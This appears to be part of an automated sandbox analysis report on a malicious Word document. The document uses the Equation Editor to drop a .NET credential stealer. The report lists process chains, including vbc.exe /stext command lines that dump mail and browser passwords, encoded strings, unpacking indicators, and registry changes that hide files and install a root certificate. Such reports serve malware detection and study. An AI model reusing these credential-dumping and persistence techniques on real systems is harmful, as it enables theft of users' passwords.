              Source: bhvC7B6.tmp.7.drBinary or memory string: org.slneighbors
              Source: ~WRF{FF780E00-89C7-4301-A104-C139521B8BBC}.tmp.0.drOLE document summary: title field not present or empty
              Source: ~WRF{FF780E00-89C7-4301-A104-C139521B8BBC}.tmp.0.drOLE document summary: author field not present or empty
              Source: ~WRF{FF780E00-89C7-4301-A104-C139521B8BBC}.tmp.0.drOLE document summary: edited time not present or 0
              Source: 02132022769992.docReversingLabs: Detection: 39%
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
              Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
              Source: unknownProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\user\AppData\Roaming\name.exe "C:\Users\user\AppData\Roaming\name.exe"
              Source: C:\Users\user\AppData\Roaming\name.exeProcess created: C:\Users\user\AppData\Roaming\name.exe C:\Users\user\AppData\Roaming\name.exe
              Source: C:\Users\user\AppData\Roaming\name.exeProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\user\AppData\Local\Temp\holdermail.txt"
              Source: C:\Users\user\AppData\Roaming\name.exeProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\user\AppData\Local\Temp\holderwb.txt"
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\user\AppData\Roaming\name.exe "C:\Users\user\AppData\Roaming\name.exe" Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess created: C:\Users\user\AppData\Roaming\name.exe C:\Users\user\AppData\Roaming\name.exeJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\user\AppData\Local\Temp\holdermail.txt"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\user\AppData\Local\Temp\holderwb.txt"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeSystem information queried: HandleInformationJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\CVRD95D.tmpJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00415F87 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,7_2_00415F87
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
              Source: C:\Users\user\AppData\Roaming\name.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00411196 CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,QueryFullProcessImageNameW,CloseHandle,free,Process32NextW,CloseHandle,7_2_00411196
              Source: 5.0.name.exe.400000.22.unpack, Form1.csBase64 encoded string: 'kU9AKBYzTfDozk78v7S8AJ4qRIoajat5imvHiMgiRkXdoX1WWUMkcLeIbq0f5Ki+', '+NuhvnHL/23apr//8A7D9HKLlcgATfODiXKjHLGsasbFDJBFHqbDrty+sGNtrFgc0eVe1DxY3U1N9v9ixGVjuQ==', 'oS55EiDwvndYEtZ5+lXTfbIb8G1taLPDlWmbhqlMK5CSJNdt9Qbgk/vwkhCaHpDIwtEy26QBS+jq3mOtR2AT75ZDkMahwZY7KngJ5TRfdok=', 'PN4TW3peZ3UeXi7asDB56E4dMEf6JrdkxXNUlrUjLlWcjHK1wZ5CpLZZKB/ocuFWy9Kw0Q8tIc1Qv7OEgqzD+w=='
              Source: 5.0.name.exe.400000.5.unpack, Form1.csBase64 encoded string: 'kU9AKBYzTfDozk78v7S8AJ4qRIoajat5imvHiMgiRkXdoX1WWUMkcLeIbq0f5Ki+', '+NuhvnHL/23apr//8A7D9HKLlcgATfODiXKjHLGsasbFDJBFHqbDrty+sGNtrFgc0eVe1DxY3U1N9v9ixGVjuQ==', 'oS55EiDwvndYEtZ5+lXTfbIb8G1taLPDlWmbhqlMK5CSJNdt9Qbgk/vwkhCaHpDIwtEy26QBS+jq3mOtR2AT75ZDkMahwZY7KngJ5TRfdok=', 'PN4TW3peZ3UeXi7asDB56E4dMEf6JrdkxXNUlrUjLlWcjHK1wZ5CpLZZKB/ocuFWy9Kw0Q8tIc1Qv7OEgqzD+w=='
              Source: 5.2.name.exe.400000.0.unpack, Form1.csBase64 encoded string: 'kU9AKBYzTfDozk78v7S8AJ4qRIoajat5imvHiMgiRkXdoX1WWUMkcLeIbq0f5Ki+', '+NuhvnHL/23apr//8A7D9HKLlcgATfODiXKjHLGsasbFDJBFHqbDrty+sGNtrFgc0eVe1DxY3U1N9v9ixGVjuQ==', 'oS55EiDwvndYEtZ5+lXTfbIb8G1taLPDlWmbhqlMK5CSJNdt9Qbgk/vwkhCaHpDIwtEy26QBS+jq3mOtR2AT75ZDkMahwZY7KngJ5TRfdok=', 'PN4TW3peZ3UeXi7asDB56E4dMEf6JrdkxXNUlrUjLlWcjHK1wZ5CpLZZKB/ocuFWy9Kw0Q8tIc1Qv7OEgqzD+w=='
              Source: 5.0.name.exe.400000.7.unpack, Form1.csBase64 encoded string: 'kU9AKBYzTfDozk78v7S8AJ4qRIoajat5imvHiMgiRkXdoX1WWUMkcLeIbq0f5Ki+', '+NuhvnHL/23apr//8A7D9HKLlcgATfODiXKjHLGsasbFDJBFHqbDrty+sGNtrFgc0eVe1DxY3U1N9v9ixGVjuQ==', 'oS55EiDwvndYEtZ5+lXTfbIb8G1taLPDlWmbhqlMK5CSJNdt9Qbgk/vwkhCaHpDIwtEy26QBS+jq3mOtR2AT75ZDkMahwZY7KngJ5TRfdok=', 'PN4TW3peZ3UeXi7asDB56E4dMEf6JrdkxXNUlrUjLlWcjHK1wZ5CpLZZKB/ocuFWy9Kw0Q8tIc1Qv7OEgqzD+w=='
              Source: 5.0.name.exe.400000.17.unpack, Form1.csBase64 encoded string: 'kU9AKBYzTfDozk78v7S8AJ4qRIoajat5imvHiMgiRkXdoX1WWUMkcLeIbq0f5Ki+', '+NuhvnHL/23apr//8A7D9HKLlcgATfODiXKjHLGsasbFDJBFHqbDrty+sGNtrFgc0eVe1DxY3U1N9v9ixGVjuQ==', 'oS55EiDwvndYEtZ5+lXTfbIb8G1taLPDlWmbhqlMK5CSJNdt9Qbgk/vwkhCaHpDIwtEy26QBS+jq3mOtR2AT75ZDkMahwZY7KngJ5TRfdok=', 'PN4TW3peZ3UeXi7asDB56E4dMEf6JrdkxXNUlrUjLlWcjHK1wZ5CpLZZKB/ocuFWy9Kw0Q8tIc1Qv7OEgqzD+w=='
              Source: 5.0.name.exe.400000.12.unpack, Form1.csBase64 encoded string: 'kU9AKBYzTfDozk78v7S8AJ4qRIoajat5imvHiMgiRkXdoX1WWUMkcLeIbq0f5Ki+', '+NuhvnHL/23apr//8A7D9HKLlcgATfODiXKjHLGsasbFDJBFHqbDrty+sGNtrFgc0eVe1DxY3U1N9v9ixGVjuQ==', 'oS55EiDwvndYEtZ5+lXTfbIb8G1taLPDlWmbhqlMK5CSJNdt9Qbgk/vwkhCaHpDIwtEy26QBS+jq3mOtR2AT75ZDkMahwZY7KngJ5TRfdok=', 'PN4TW3peZ3UeXi7asDB56E4dMEf6JrdkxXNUlrUjLlWcjHK1wZ5CpLZZKB/ocuFWy9Kw0Q8tIc1Qv7OEgqzD+w=='
              Source: 5.0.name.exe.400000.22.unpack, Form1.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
              Source: 5.0.name.exe.400000.22.unpack, Form1.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
              Source: 5.0.name.exe.400000.22.unpack, Form1.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
              Source: 5.0.name.exe.400000.22.unpack, Form1.csCryptographic APIs: 'CreateDecryptor'
              Source: 5.0.name.exe.400000.5.unpack, Form1.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
              Source: 5.0.name.exe.400000.5.unpack, Form1.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
              Source: 5.0.name.exe.400000.5.unpack, Form1.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
              Source: 5.0.name.exe.400000.5.unpack, Form1.csCryptographic APIs: 'CreateDecryptor'
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\AppData\Roaming\name.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Users\user\AppData\Roaming\name.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItemsJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: Binary string: C:\Users\Jovan\Documents\Visual Studio 2010\Projects\Stealer\CMemoryExecute\CMemoryExecute\obj\Release\CMemoryExecute.pdb source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699519732.0000000000500000.00000004.08000000.00040000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699824539.00000000022C5000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000002.699777941.0000000002261000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: f:\Projects\VS2005\mailpv\Release\mailpv.pdb source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, vbc.exe, 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000006.00000000.469531152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000006.00000000.469096396.0000000000400000.00000040.00000400.00020000.00000000.sdmp
              Source: Binary string: f:\Projects\VS2005\WebBrowserPassView\Release\WebBrowserPassView.pdb source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmp
              Source: ~WRF{FF780E00-89C7-4301-A104-C139521B8BBC}.tmp.0.drInitial sample: OLE indicators vbamacros = False

              Data Obfuscation

              barindex
              Detected unpacking (overwrites its own PE header)
              Source: C:\Users\user\AppData\Roaming\name.exeUnpacked PE file: 4.2.name.exe.a40000.1.unpack
              Detected unpacking (changes PE section rights)
              Source: C:\Users\user\AppData\Roaming\name.exeUnpacked PE file: 4.2.name.exe.a40000.1.unpack .text:ER;.rsrc:R;.reloc:R; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;
              .NET source code contains potential unpacker
              Source: 5.0.name.exe.400000.22.unpack, Form1.cs.Net Code: IsDotNet System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.22.unpack, Form1.cs.Net Code: run System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.22.unpack, Form1.cs.Net Code: stealMail System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.22.unpack, Form1.cs.Net Code: stealWebroswers System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.5.unpack, Form1.cs.Net Code: IsDotNet System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.5.unpack, Form1.cs.Net Code: run System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.5.unpack, Form1.cs.Net Code: stealMail System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.5.unpack, Form1.cs.Net Code: stealWebroswers System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.2.name.exe.400000.0.unpack, Form1.cs.Net Code: IsDotNet System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.2.name.exe.400000.0.unpack, Form1.cs.Net Code: run System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.2.name.exe.400000.0.unpack, Form1.cs.Net Code: stealMail System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.2.name.exe.400000.0.unpack, Form1.cs.Net Code: stealWebroswers System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.7.unpack, Form1.cs.Net Code: IsDotNet System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.7.unpack, Form1.cs.Net Code: run System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.7.unpack, Form1.cs.Net Code: stealMail System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.7.unpack, Form1.cs.Net Code: stealWebroswers System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.17.unpack, Form1.cs.Net Code: IsDotNet System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.17.unpack, Form1.cs.Net Code: run System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.17.unpack, Form1.cs.Net Code: stealMail System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.17.unpack, Form1.cs.Net Code: stealWebroswers System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.12.unpack, Form1.cs.Net Code: IsDotNet System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.12.unpack, Form1.cs.Net Code: run System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.12.unpack, Form1.cs.Net Code: stealMail System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: 5.0.name.exe.400000.12.unpack, Form1.cs.Net Code: stealWebroswers System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00A45AE0 push ebx; ret 4_2_00A45AEF
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00A449CD push edx; ret 4_2_00A449D5
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00A4671A push edx; retf 4_2_00A4671F
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00199338 push esp; ret 4_2_00199341
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00198FD6 push ss; ret 4_2_00198FD7
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 4_2_00760CF9 push ebx; ret 4_2_00760D01
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_00A45AE0 push ebx; ret 5_2_00A45AEF
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_00A449CD push edx; ret 5_2_00A449D5
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_00A4671A push edx; retf 5_2_00A4671F
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002EE278 push 940030C5h; ret 5_2_002EE27D
              Source: C:\Users\user\AppData\Roaming\name.exeCode function: 5_2_002E7724 push 7000305Fh; retf 0027h5_2_002E772D
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_00411879 push ecx; ret 6_2_00411889
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_004118A0 push eax; ret 6_2_004118B4
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_004118A0 push eax; ret 6_2_004118DC
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00442871 push ecx; ret 7_2_00442881
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00442A90 push eax; ret 7_2_00442AA4
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00442A90 push eax; ret 7_2_00442ACC
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 7_2_00446E54 push eax; ret 7_2_00446E61
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_00404837 GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,#17,MessageBoxA,6_2_00404837
              Source: initial sampleStatic PE information: section name: .text entropy: 7.84726885826
              Source: initial sampleStatic PE information: section name: .text entropy: 7.84726885826
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\user\AppData\Roaming\name.exeJump to dropped file
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\PU4TLXlhTTxUD3B[1].exeJump to dropped file

              Hooking and other Techniques for Hiding and Protection

              barindex
              Changes the view of files in windows explorer (hidden files and folders)
              Source: C:\Users\user\AppData\Roaming\name.exeKey value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced HiddenJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: 6_2_0040F64B memset,strcpy,memset,strcpy,strcat,strcpy,strcat,GetModuleHandleA,LoadLibraryExA,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,6_2_0040F64B
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
